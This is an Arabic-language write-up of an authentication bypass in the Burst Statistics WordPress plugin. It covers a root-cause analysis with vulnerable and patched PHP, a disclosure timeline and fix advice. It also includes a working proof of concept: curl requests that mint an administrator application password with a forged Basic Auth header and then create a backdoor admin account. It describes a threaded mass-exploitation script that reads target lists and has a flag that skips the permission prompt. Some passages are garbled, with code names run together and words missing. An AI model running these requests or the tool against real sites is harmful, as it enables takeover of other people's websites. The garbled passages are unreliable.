
المكوّن الإضافي Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) لـ WordPress معرّض لثغرة تجاوز المصادقة (Authentication Bypass)
ملخص الثغرة
إضافة ووردبريس Burst Statistics في الإصدارات 3.4.0 إلى 3.4.1.1 معرّضة لثغرة تجاوز مصادقة دون الحاجة لمصادقة مسبقة تؤدي إلى الاستيلاء الكامل على حساب المسؤول. تتيح هذه الثغرة الحرجة لمهاجم غير مصادَق يعرف اسم مستخدم أي مسؤول إنشاء كلمة مرور تطبيق ووردبريس صالحة لذلك الحساب في طلب HTTP واحد، محققاً وصولاً دائماً بصلاحيات المسؤول إلى الموقع بأكمله.
ينبع أصل الثغرة من الدالة is_mainwp_authenticated() في الملف class-mainwp-proxy.php. تستدعي هذه الدالة wp_authenticate_application_password() وتتحقق فقط مما إذا كانت النتيجة WP_Error. وهي لا تتحقق مما إذا كانت النتيجة كائناً WP_User ناجحاً فعلاً. عندما يُرجع مُرشِّح ووردبريس الداخلي application_password_is_api_request القيمة false — وهو ما يحدث عند إجراء الاستدعاء خارج مسار مصادقة REST API العادي — تُرجع دالة ووردبريس القيمة بدلاً من أو . ولأن ليست ، يمرّ الفحص بنجاح، ويتم تعيين مستخدم المسؤول الذي اختاره المهاجم كمستخدم حالي عبر .
nullWP_ErrorWP_UsernullWP_Errorwp_set_current_user()بمجرد تحويل المستخدم الحالي إلى مسؤول، تنجح فحوصات الصلاحيات اللاحقة. يمكن للمهاجم بعد ذلك الوصول إلى نقطة نهاية REST /burst/v1/mainwp-auth، التي تنشئ كلمة مرور تطبيق ووردبريس لحساب المسؤول وتُعيدها في الاستجابة. يمنح هذا المهاجم وصولاً دائماً كاملاً بصلاحيات المسؤول.
الإضافة المتأثرة
| الحقل | القيمة |
|---|---|
| اسم الإضافة | Burst Statistics – Privacy-Friendly WordPress Analytics |
| معرّف الإضافة | burst-statistics |
| الإصدارات المتأثرة | 3.4.0 – 3.4.1.1 |
| الإصدار المُصحَّح | 3.4.2 |
| معرّف CVE | CVE-2026-8181 |
| درجة CVSS | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| نوع الثغرة | تجاوز المصادقة (مصادقة غير سليمة) |
| CWE | CWE-287 — مصادقة غير سليمة |
| التأثير | الاستيلاء الكامل على الموقع — الاستيلاء على حساب المسؤول |
ما يمكن للمهاجمين فعله
| القدرة | التأثير |
|---|---|
| إنشاء كلمة مرور تطبيق لأي مسؤول | وصول دائم بصلاحيات المسؤول |
| إنشاء حسابات مسؤول جديدة عبر REST API | تكاثر الحسابات |
| تثبيت إضافات / قوالب | تنفيذ كود عن بُعد |
| تعديل المقالات والصفحات والإعدادات | تشويه الموقع |
| تصدير أو حذف جميع بيانات الموقع | تدمير البيانات / تسريبها |
| الوصول إلى بيانات WooCommerce / بيانات العملاء | اختراق البيانات |
التحليل الفني
تتم تهيئة Burst Statistics أثناء خطاف plugins_loaded في ووردبريس بأولوية 9، داخل class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
تُعد has_admin_access() البوابة الحاكمة لجميع وظائف الإدارة. وهي تتحقق من ترويسة X-BurstMainWP وتستدعي الدالة المعرّضة للثغرة:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() القيمة nullتحتوي دالة ووردبريس الداخلية wp_authenticate_application_password() على مُرشِّح (filter):
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
عند استدعائها خارج مسار مصادقة REST API، تُرجع هذه الدالة null. تحقق كود Burst Statistics فقط من is_wp_error($is_valid) — وnull ليست WP_Error، لذا يمرّ الفحص بشكل خاطئ.
X-BurstMainWP: 1 مع أي طلبhas_admin_access() الدالة is_mainwp_authenticated()wp_authenticate_application_password() القيمة null (ليست في سياق API)is_wp_error(null) = false → يمرّ الفحص بنجاحwp_set_current_user($admin_id)/burst/v1/mainwp-authhandle_auth_request() كلمة مرور تطبيق ووردبريسbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
التصحيحات المطبَّقة:
application_password_is_api_request على القيمة true بحيث يحدث التحقق الفعلي من كلمة المرورWP_User (وليس null)hash_equals() للتحقق من تطابق اسم المستخدمبالإضافة إلى ذلك، تمت تقوية الدالة check_auth_permission() الخاصة بنقطة نهاية REST لتتطلب current_user_can('manage_burst_statistics') و تحققاً صريحاً من الـ nonce للطلبات المصادَق عليها عبر ملفات تعريف الارتباط (cookies).
إثبات المفهوم (PoC)
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
يقوم سكربت exploit_burst_statistics.py بأتمتة سلسلة الهجوم بأكملها:
readme.txt أو ترويسة الإضافة أو استعلامات الأصول (asset query strings)X-BurstMainWP: 1 + Basic Auth مزيف لإنشاء الرمز المميزميزات أداة الاستغلال
/wp-json/) والروابط الدائمة غير الجميلة (/?rest_route=)ThreadPoolExecutorطريقة الاستخدام
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
أنشئ ملف targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
| العلامة | الوصف |
|---|---|
-t, --target | رابط هدف واحد |
-l, --list | ملف يحتوي قائمة الأهداف (هدف واحد في كل سطر) |
-T, --threads | عدد الخيوط للفحص الجماعي (الافتراضي: 10) |
-o, --output | ملف الإخراج للنتائج (الافتراضي: result_burst_statistics.txt) |
-u, --username | اسم مستخدم المسؤول المعروف (تخطي التعداد) |
-v, --verbose | مخرجات تصحيح مفصّلة |
--timeout | مهلة الطلب بالثواني (الافتراضي: 20) |
--no-confirm | تخطي مطالبة تأكيد الإذن |
توصيات الإصلاح
للمطورين وأصحاب المواقع:
X-BurstMainWP: 1الجدول الزمني
| التاريخ | الحدث |
|---|---|
| 2026-05-08 | تم حجز معرّف CVE |
| 2026-05-11 | تم إخطار المطوّر |
| 2026-05-13 | تم الكشف علناً |
| 2026-05-13 | تم إصدار التصحيح (v3.4.2) |
| 2026-05-15 | تم الإبلاغ عن استغلال نشط في البرية |
الباحث
المراجع
إخلاء مسؤولية
تُقدَّم هذه المعلومات لأغراض تعليمية واختبار الاختراق المصرّح به فقط. الاستغلال غير المصرّح به لأنظمة الحاسوب أمر غير قانوني وغير أخلاقي. احصل دائماً على إذن كتابي صريح قبل اختبار أي هدف لا تملكه.